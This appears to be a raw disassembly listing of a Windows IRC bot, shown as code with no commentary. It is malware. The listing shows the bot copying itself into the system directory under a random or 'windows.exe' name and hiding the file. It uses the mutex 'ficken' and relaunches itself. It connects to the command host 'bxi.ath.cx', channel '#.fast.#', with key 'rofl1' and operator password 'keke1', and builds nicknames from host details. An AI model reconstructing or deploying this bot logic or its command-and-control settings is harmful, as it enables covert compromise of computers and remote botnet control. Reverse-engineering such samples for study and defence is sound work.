loc_409EC6: ; CODE XREF: sub_40274D+776Cj
push offset unk_42CAD4
jmp loc_404A4D
; ---------------------------------------------------------------------------
loc_409ED0: ; CODE XREF: sub_40274D+7763j
mov esi, [ebp+4Ch+var_20]
jmp short loc_409F3A
; ---------------------------------------------------------------------------
loc_409ED5: ; CODE XREF: sub_40274D+77F1j
mov edi, [ebp+esi*4+4Ch+Str2]
cmp edi, ebx
jz loc_402B92
push edi ; Str
call j__atol
push eax
call sub_40AF6E
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+4Ch+Dst]
jz short loc_409F01
push offset unk_42CAB0
jmp short loc_409F06
; ---------------------------------------------------------------------------
loc_409F01: ; CODE XREF: sub_40274D+77ABj
push offset asc_42CA84 ; "-"
loc_409F06: ; CODE XREF: sub_40274D+77B2j
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+4Ch+var_C], ebx
jnz short loc_409F2D
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_409F2D: ; CODE XREF: sub_40274D+77C5j
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
pop ecx
loc_409F3A: ; CODE XREF: sub_40274D+7786j
inc esi
cmp esi, 20h
jb short loc_409ED5
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_409F45: ; CODE XREF: sub_40274D+3AB8j
; sub_40274D+3ACDj
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8] ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz loc_404979
push esi ; Args
push offset aS_0 ; "%s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push esi
push offset dword_42CA68
jmp short loc_409FD6
; ---------------------------------------------------------------------------
loc_409F7B: ; CODE XREF: sub_40274D+3A8Ej
; sub_40274D+3AA3j
push [ebp+4Ch+var_8] ; Args
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push [ebp+4Ch+var_8]
push offset unk_42CA44
jmp short loc_409FD6
; ---------------------------------------------------------------------------
loc_409F95: ; CODE XREF: sub_40274D+3A64j
; sub_40274D+3A79j
push [ebp+esi+4Ch+Format]
push [ebp+4Ch+var_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push [ebp+4Ch+var_8] ; Args
push offset asc_42CA20 ; "-"
loc_409FB1: ; CODE XREF: sub_40274D+6BBAj
; sub_40274D+6C3Dj ...
call sub_417DE4
loc_409FB6: ; CODE XREF: sub_40274D+22CAj
add esp, 18h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409FBE: ; CODE XREF: sub_40274D+3A3Aj
; sub_40274D+3A4Fj
push [ebp+4Ch+var_8] ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push [ebp+4Ch+var_8] ; Args
push offset asc_42C9FC ; "-"
loc_409FD6: ; CODE XREF: sub_40274D+6CE2j
; sub_40274D+782Cj ...
call sub_417DE4
loc_409FDB: ; CODE XREF: sub_40274D+186Fj
; sub_40274D+6D40j
add esp, 14h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409FE3: ; CODE XREF: sub_40274D+2F48j
; sub_40274D+2F5Dj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push offset asc_42C9D8 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
push [ebp+4Ch+var_8] ; Str
call j__atol
add esp, 1Ch
jmp short loc_40A05B
; ---------------------------------------------------------------------------
loc_40A01D: ; CODE XREF: sub_40274D+2F1Ej
; sub_40274D+2F33j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push offset asc_42C9B0 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
push [ebp+4Ch+var_8] ; Str
call j__atol
add esp, 1Ch
imul eax, 3E8h
loc_40A05B: ; CODE XREF: sub_40274D+78CEj
push eax
call ds:dword_42B014 ; Sleep
jmp loc_404FE6
; ---------------------------------------------------------------------------
loc_40A067: ; CODE XREF: sub_40274D+D65j
; sub_40274D+D7Aj
push dword ptr [ebp+esi+4Ch+Args] ; Str1
xor eax, eax
cmp [ebp+4Ch+var_8F8], bl
setnz al
push eax ; int
push dword_43C094 ; int
lea eax, [ebp+4Ch+Dest]
push eax ; Dest
call sub_40AB83
lea eax, [ebp+4Ch+Dest]
push eax ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
lea eax, [ebp+4Ch+Dest]
push eax ; Args
push offset asc_42C98C ; "-"
call sub_417DE4
loc_40A0AE: ; CODE XREF: sub_40274D+4FEBj
add esp, 24h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_40A0B6: ; CODE XREF: sub_40274D+9C9j
; sub_40274D+9DEj
mov esi, dword ptr [ebp+esi+4Ch+Args]
cmp esi, ebx
mov [ebp+4Ch+var_8], esi
jz loc_402B92
cmp [ebp+4Ch+var_14], ebx
jnz loc_402B92
push offset Delim ; "!"
push [ebp+4Ch+Str2] ; Str
call _strtok
mov esi, eax
push offset byte_42C988 ; Delim
push ebx ; Str
inc esi
call _strtok
push offset asc_42C984 ; "~"
push eax ; Str
call _strtok
push [ebp+4Ch+var_8] ; Str2
mov edi, eax
push offset aKeke1 ; "keke1"
call _strcmp
add esp, 20h
test eax, eax
jz short loc_40A14F
push edi
lea eax, [ebp+4Ch+var_D0]
push eax
push eax ; Args
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
lea eax, [ebp+4Ch+var_D0]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push edi
push esi
push offset asc_42C904 ; "-"
loc_40A13B: ; CODE XREF: sub_40274D+7A55j
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
add esp, 30h
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_40A14F: ; CODE XREF: sub_40274D+79BBj
mov [ebp+4Ch+arg_0], ebx
loc_40A152: ; CODE XREF: sub_40274D+7A22j
mov eax, [ebp+4Ch+arg_0]
push edi
push off_43C15C[eax]
call sub_40B264
test eax, eax
pop ecx
pop ecx
jnz short loc_40A1A4
add [ebp+4Ch+arg_0], 4
cmp [ebp+4Ch+arg_0], 4
jb short loc_40A152
push edi
lea eax, [ebp+4Ch+var_D0]
push eax
push eax ; Args
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
lea eax, [ebp+4Ch+var_D0]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push edi
push esi
push offset unk_42C8B0
jmp short loc_40A13B
; ---------------------------------------------------------------------------
loc_40A1A4: ; CODE XREF: sub_40274D+7A18j
mov edi, [ebp+4Ch+Str1]
xor esi, esi
loc_40A1A9: ; CODE XREF: sub_40274D+7A7Dj
cmp [edi], bl
jnz short loc_40A1C0
push [ebp+4Ch+var_8] ; Str2
push offset aKeke1 ; "keke1"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_40A1D1
loc_40A1C0: ; CODE XREF: sub_40274D+7A5Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_40A1A9
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_40A1D1: ; CODE XREF: sub_40274D+7A71j
push 7Fh ; Count
lea eax, [ebp+4Ch+var_E38]
shl esi, 7
add esi, [ebp+4Ch+Str1]
push eax ; Source
push esi ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+4Ch+var_C], ebx
jnz short loc_40A205
push ebx ; int
push [ebp+4Ch+var_4] ; int
push offset unk_42C890 ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_40A205: ; CODE XREF: sub_40274D+7A9Fj
lea eax, [ebp+4Ch+var_D0]
push eax ; Args
push offset asc_42C870 ; "-"
loc_40A211: ; CODE XREF: sub_40274D+52Fj
; sub_40274D+2699j ...
call sub_417DE4
loc_40A216: ; CODE XREF: sub_40274D+19F8j
pop ecx
loc_40A217: ; CODE XREF: sub_40274D+2338j
pop ecx
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_40A21D: ; CODE XREF: sub_40274D+1E7j
; sub_40274D+1FCj
push [ebp+4Ch+Source] ; Args
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push offset aXI ; "-x+i"
push [ebp+4Ch+Source] ; Args
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push [ebp+4Ch+arg_C]
push [ebp+4Ch+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
add esp, 2Ch
mov dword_4D1FDC, edi
jmp loc_40291B
sub_40274D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
_WinMain@16 proc near ; CODE XREF: start+186p
var_984 = byte ptr -984h
var_880 = byte ptr -880h
var_87F = byte ptr -87Fh
Filename = byte ptr -6F0h
var_5F0 = byte ptr -5F0h
Ext = byte ptr -4ECh
SubStr = byte ptr -3ECh
Str = byte ptr -2E8h
Dest = byte ptr -1E4h
var_E0 = dword ptr -0E0h
var_D4 = dword ptr -0D4h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
Source = byte ptr -9Ch
Dst = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
hInstance = dword ptr 8
hPrevInstance = dword ptr 0Ch
lpCmdLine = dword ptr 10h
nShowCmd = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 984h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_40110F
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_42B038
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4D1FD0, eax
call esi ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call sub_4012D6
push 2
call dword_4440D4 ; SetErrorMode
push 7530h
push offset aFicken ; "ficken"
push ebx
push ebx
call ds:dword_42B058 ; CreateMutexA
push eax
call ds:dword_42B054 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40A2E2
push 1
jmp loc_40A53C
; ---------------------------------------------------------------------------
loc_40A2E2: ; CODE XREF: WinMain(x,x,x,x)+76j
lea eax, [ebp+var_880]
push eax
push 202h
call dword_444110 ; WSAStartup
cmp eax, ebx
jnz loc_40A7F7
cmp [ebp+var_880], 2
jnz loc_40A7F1
cmp [ebp+var_87F], 2
jnz loc_40A7F1
mov esi, 104h
push esi
lea eax, [ebp+SubStr]
push eax
call ds:dword_42B010 ; GetSystemDirectoryA
push esi
lea eax, [ebp+Str]
push eax
push ebx
call ds:dword_42B024 ; GetModuleHandleA
push eax
call ds:dword_42B00C ; GetModuleFileNameA
lea eax, [ebp+Ext]
push eax ; Ext
lea eax, [ebp+Filename]
push eax ; Filename
push ebx ; Dir
lea eax, [ebp+Str]
push ebx ; Drive
push eax ; FullPath
call __splitpath
lea eax, [ebp+Ext]
push eax
lea eax, [ebp+Filename]
push eax
push offset aSS ; "%s%s"
lea eax, [ebp+var_5F0]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
add esp, 30h
test eax, eax
jnz loc_40A542
cmp dword_4D1FD4, ebx
mov esi, offset aWindows_exe ; "windows.exe"
jz short loc_40A3D7
push esi ; Str
xor edi, edi
call _strlen
sub eax, 4
pop ecx
jz short loc_40A3D7
loc_40A3B4: ; CODE XREF: WinMain(x,x,x,x)+172j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
push esi ; Str
add dl, 61h
mov byte ptr aWindows_exe[edi], dl ; "windows.exe"
inc edi
call _strlen
sub eax, 4
cmp edi, eax
pop ecx
jb short loc_40A3B4
loc_40A3D7: ; CODE XREF: WinMain(x,x,x,x)+141j
; WinMain(x,x,x,x)+14Fj
push esi
lea eax, [ebp+SubStr]
push eax
lea eax, [ebp+Dest]
push offset aSS_0 ; "%s\\%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
call ds:dword_42B050 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40A417
push 80h
lea eax, [ebp+Dest]
push eax
call ds:dword_42B04C ; SetFileAttributesA
loc_40A417: ; CODE XREF: WinMain(x,x,x,x)+1A0j
mov esi, ds:dword_42B048
xor edi, edi
jmp short loc_40A443
; ---------------------------------------------------------------------------
loc_40A421: ; CODE XREF: WinMain(x,x,x,x)+1F3j
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40A458
cmp eax, 20h
jz short loc_40A435
cmp eax, 5
jnz short loc_40A458
loc_40A435: ; CODE XREF: WinMain(x,x,x,x)+1CBj
xor edi, edi
push 3A98h
inc edi
call ds:dword_42B014 ; Sleep
loc_40A443: ; CODE XREF: WinMain(x,x,x,x)+1BCj
push ebx
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push eax
call esi ; CopyFileA
test eax, eax
jz short loc_40A421
loc_40A458: ; CODE XREF: WinMain(x,x,x,x)+1C6j
; WinMain(x,x,x,x)+1D0j
lea eax, [ebp+Dest]
push eax
call sub_41AE17
pop ecx
push 7
lea eax, [ebp+Dest]
push eax
call ds:dword_42B04C ; SetFileAttributesA
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
push 44h
pop esi
push esi ; Size
lea eax, [ebp+var_E0]
push ebx ; Val
push eax ; Dst
call _memset
mov [ebp+var_E0], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_D4], offset byte_42B633
mov [ebp+var_B4], esi
mov [ebp+var_B0], bx
call ds:dword_42B044 ; GetCurrentProcessId
push eax
push esi
push 100000h
call ds:dword_42B040 ; OpenProcess
lea ecx, [ebp+Str]
push ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_984]
push offset aSDS ; "%s %d \"%s\""
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_E0]
push eax
lea eax, [ebp+SubStr]
push eax
push ebx
push 28h
push esi
push ebx
push ebx
lea eax, [ebp+var_984]
push eax
lea eax, [ebp+Dest]
push eax
call ds:dword_42B008 ; CreateProcessA
test eax, eax
jz short loc_40A542
push 0C8h
call ds:dword_42B014 ; Sleep
push [ebp+Dst]
mov esi, ds:dword_42B004
call esi ; CloseHandle
push [ebp+var_18]
call esi ; CloseHandle
call dword_444224 ; WSACleanup
push ebx
loc_40A53C: ; CODE XREF: WinMain(x,x,x,x)+7Aj
call ds:dword_42B000 ; ExitProcess
loc_40A542: ; CODE XREF: WinMain(x,x,x,x)+130j
; WinMain(x,x,x,x)+2B5j
cmp dword_4E2914, 2
jle short loc_40A58E
mov eax, dword_4E2918
push dword ptr [eax+4] ; Str
call j__atol
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_42B054 ; WaitForSingleObject
push esi
call ds:dword_42B004 ; CloseHandle
mov eax, dword_4E2918
cmp [eax+8], ebx
jz short loc_40A58E
push 7D0h
call ds:dword_42B014 ; Sleep
mov eax, dword_4E2918
push dword ptr [eax+8]
call ds:dword_42B02C ; DeleteFileA
loc_40A58E: ; CODE XREF: WinMain(x,x,x,x)+2E6j
; WinMain(x,x,x,x)+310j
cmp dword_43C088, ebx
jz short loc_40A5AB
cmp dword_444274, ebx
jnz short loc_40A5AB
lea eax, [ebp+var_5F0]
push eax ; Str
call sub_401000
pop ecx
loc_40A5AB: ; CODE XREF: WinMain(x,x,x,x)+331j
; WinMain(x,x,x,x)+339j
lea eax, [ebp+Source]
push offset asc_42FF24 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push ebx ; int
push eax ; Source
call sub_40AE85
lea eax, [ebp+Source]
push eax
call sub_417D70
push 0B80h ; Size
push ebx ; Val
push offset dword_4D1450 ; Dst
call _memset
lea eax, [ebp+Source]
push offset asc_42FF00 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 1 ; int
push eax ; Source
call sub_40AE85
mov edi, ds:dword_42B03C
add esp, 38h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_41C76D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4444FC[esi], eax
jnz short loc_40A64B
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_42FEC0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40A64B: ; CODE XREF: WinMain(x,x,x,x)+3CBj
lea eax, [ebp+Source]
push eax
call sub_417D70
push 2
call sub_40B075
test eax, eax
pop ecx
pop ecx
jnz short loc_40A6D0
lea eax, [ebp+Source]
push offset asc_42FE94 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 2 ; int
push eax ; Source
call sub_40AE85
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_41321D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4444FC[esi], eax
jnz short loc_40A6C3
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_42FE60 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40A6C3: ; CODE XREF: WinMain(x,x,x,x)+443j
lea eax, [ebp+Source]
push eax
call sub_417D70
pop ecx
loc_40A6D0: ; CODE XREF: WinMain(x,x,x,x)+3FFj
call _rand
push 7Fh ; Count
and eax, 3
push offset aBxi_ath_cx ; "bxi.ath.cx"
push offset byte_4D12EC ; Dest
mov dword_4D1FE0, eax
call _strncpy
mov eax, dword_43C068
push 3Fh ; Count
push offset a_fast_ ; "#.fast.#"
mov edi, offset byte_4D136C
push edi ; Dest
mov dword_4D143C, eax
call _strncpy
push 3Fh ; Count
push offset aRofl1 ; "rofl1"
mov esi, offset byte_4D13AC
push esi ; Dest
call _strncpy
mov dword_4D1440, ebx
loc_40A722: ; CODE XREF: WinMain(x,x,x,x)+53Aj
; WinMain(x,x,x,x)+584j
add esp, 24h
loc_40A725: ; CODE XREF: WinMain(x,x,x,x)+542j
mov [ebp+var_4], ebx
loc_40A728: ; CODE XREF: WinMain(x,x,x,x)+4FBj
push offset dword_4D12E8
mov dword_4D1FDC, ebx
call sub_4025EF
cmp eax, 2
jz loc_40A7EC
cmp dword_4D1FDC, ebx
jz short loc_40A74C
dec [ebp+var_4]
loc_40A74C: ; CODE XREF: WinMain(x,x,x,x)+4E4j
push 0BB8h
call ds:dword_42B014 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40A728
cmp [ebp+var_C], ebx
jz short loc_40A79F
push 7Fh ; Count
push offset aBxi_ath_cx ; "bxi.ath.cx"
push offset byte_4D12EC ; Dest
call _strncpy
mov eax, dword_43C068
push 3Fh ; Count
push offset a_fast_ ; "#.fast.#"
push edi ; Dest
mov dword_4D143C, eax
call _strncpy
push 3Fh ; Count
push offset aRofl1 ; "rofl1"
push esi ; Dest
call _strncpy
mov [ebp+var_C], ebx
jmp short loc_40A722
; ---------------------------------------------------------------------------
loc_40A79F: ; CODE XREF: WinMain(x,x,x,x)+500j
cmp byte_43C0D8, bl
jz loc_40A725
push 7Fh ; Count
push offset byte_43C0D8 ; Source
push offset byte_4D12EC ; Dest
call _strncpy
mov eax, dword_43C06C
push 3Fh ; Count
push offset a_fast__0 ; "#.fast.#"
push edi ; Dest
mov dword_4D143C, eax
call _strncpy
push 3Fh ; Count
push offset aRofl1_0 ; "rofl1"
push esi ; Dest
call _strncpy
mov [ebp+var_C], 1
jmp loc_40A722
; ---------------------------------------------------------------------------
loc_40A7EC: ; CODE XREF: WinMain(x,x,x,x)+4D8j
call sub_40AFF6
loc_40A7F1: ; CODE XREF: WinMain(x,x,x,x)+A0j
; WinMain(x,x,x,x)+ADj
call dword_444224 ; WSACleanup
loc_40A7F7: ; CODE XREF: WinMain(x,x,x,x)+93j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
_WinMain@16 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40A800(char *Dest)
sub_40A800 proc near ; CODE XREF: sub_40AB83+4Ap
; DATA XREF: .data:off_43C4B0o
Dest = dword ptr 4
push esi
push edi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
call _rand
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+Dest]
push off_43C518[edx*4]
push offset aS ; "%s"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 14h
cmp dword_43C090, esi
jle short loc_40A867
loc_40A841: ; CODE XREF: sub_40A800+65j
call _rand
push 0Ah
pop ecx
cdq
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43C090
jl short loc_40A841
loc_40A867: ; CODE XREF: sub_40A800+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40A800 endp
; ---------------------------------------------------------------------------
push esi
push edi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
mov edi, [esp+10h]
mov dword ptr [esp], offset aNetapi ; "netapi-"
push offset aS ; "%s"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
loc_40A897: ; DATA XREF: .data:0043F374o
; .data:0043F3B8o ...
cmp dword_43C090, esi
jle short loc_40A8C5
loc_40A89F: ; CODE XREF: .text:0040A8C3j
call _rand
push 0Ah
pop ecx
cdq
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43C090
jl short loc_40A89F
loc_40A8C5: ; CODE XREF: .text:0040A89Dj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40A8CA proc near ; CODE XREF: sub_40274D+66B8p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call _rand
push 3
cdq
pop ecx
idiv ecx
mov ebx, [esp+0Ch+arg_0]
xor edi, edi
mov esi, edx
add esi, dword_43C090
test esi, esi
jle short loc_40A90D
loc_40A8F7: ; CODE XREF: sub_40A8CA+41j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40A8F7
loc_40A90D: ; CODE XREF: sub_40A8CA+2Bj
mov byte ptr [edi+ebx], 0
pop edi
pop esi
mov eax, ebx
pop ebx
retn
sub_40A8CA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
lea eax, [ebp-4]
push eax
mov esi, offset aPc ; "PC"
push esi
call ds:dword_42B05C ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 0Ch
cmp dword_43C090, esi
jle short loc_40A980
loc_40A95A: ; CODE XREF: .text:0040A97Ej
call _rand
push 0Ah
pop ecx
cdq
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43C090
jl short loc_40A95A
loc_40A980: ; CODE XREF: .text:0040A958j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
push 0Ah
lea eax, [ebp-0Ch]
push eax
push 7
push 800h
call ds:dword_42B060 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_8 ; "%s|"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_43C090, esi
jle short loc_40A9F5
loc_40A9CF: ; CODE XREF: .text:0040A9F3j
call _rand
push 0Ah
pop ecx
cdq
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43C090
jl short loc_40A9CF
loc_40A9F5: ; CODE XREF: .text:0040A9CDj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
lea ebp, [esp-74h]
sub esp, 94h
push esi
push edi
lea eax, [ebp-20h]
push eax
mov esi, offset byte_42B633
mov dword ptr [ebp-20h], 94h
call ds:dword_42B064 ; GetVersionExA
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
cmp dword ptr [ebp-1Ch], 4
pop ecx
jnz short loc_40AA69
cmp dword ptr [ebp-18h], 0
jnz short loc_40AA4F
cmp dword ptr [ebp-10h], 1
jnz short loc_40AA42
mov esi, offset a95 ; "95"
loc_40AA42: ; CODE XREF: .text:0040AA3Bj
cmp dword ptr [ebp-10h], 2
jnz short loc_40AA99
mov esi, offset aNt_0 ; "NT"
jmp short loc_40AA99
; ---------------------------------------------------------------------------
loc_40AA4F: ; CODE XREF: .text:0040AA35j
cmp dword ptr [ebp-18h], 0Ah
jnz short loc_40AA5C
mov esi, offset a98 ; "98"
jmp short loc_40AA99
; ---------------------------------------------------------------------------
loc_40AA5C: ; CODE XREF: .text:0040AA53j
cmp dword ptr [ebp-18h], 5Ah
jnz short loc_40AA94
mov esi, offset aMe_0 ; "ME"
jmp short loc_40AA99
; ---------------------------------------------------------------------------
loc_40AA69: ; CODE XREF: .text:0040AA2Fj
cmp dword ptr [ebp-1Ch], 5
jnz short loc_40AA94
cmp dword ptr [ebp-18h], 0
jnz short loc_40AA7C
mov esi, offset a2k ; "2K"
jmp short loc_40AA99
; ---------------------------------------------------------------------------
loc_40AA7C: ; CODE XREF: .text:0040AA73j
cmp dword ptr [ebp-18h], 1
jnz short loc_40AA89
mov esi, offset aXp_0 ; "XP"
jmp short loc_40AA99
; ---------------------------------------------------------------------------
loc_40AA89: ; CODE XREF: .text:0040AA80j
cmp dword ptr [ebp-18h], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40AA99
loc_40AA94: ; CODE XREF: .text:0040AA60j
; .text:0040AA6Dj
mov esi, offset a??? ; "???"
loc_40AA99: ; CODE XREF: .text:0040AA46j
; .text:0040AA4Dj ...
mov edi, [ebp+7Ch]
push esi
push offset aS_7 ; "[%s]|"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_43C090, esi
jle short loc_40AADD
loc_40AAB7: ; CODE XREF: .text:0040AADBj
call _rand
push 0Ah
pop ecx
cdq
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43C090
jl short loc_40AAB7
loc_40AADD: ; CODE XREF: .text:0040AAB5j
mov eax, edi
pop edi
pop esi
add ebp, 74h
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AAE6(char *Source)
sub_40AAE6 proc near ; CODE XREF: sub_40AB83+5Dp
Dest = byte ptr -1Ch
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_42B038 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
call dword_444160 ; FindWindowA
cmp esi, 64h
jbe short loc_40AB35
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40AB1E
mov eax, offset byte_42B633
loc_40AB1E: ; CODE XREF: sub_40AAE6+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+Dest]
push 1Ch ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_40AB4F
; ---------------------------------------------------------------------------
loc_40AB35: ; CODE XREF: sub_40AAE6+28j
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40AB43
mov eax, offset byte_42B633
loc_40AB43: ; CODE XREF: sub_40AAE6+56j
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40AB4F: ; CODE XREF: sub_40AAE6+4Dj
lea eax, [ebp+Dest]
push eax ; Str
call _strlen
cmp eax, 2
pop ecx
pop esi
jbe short loc_40AB7E
push 1Ch ; Count
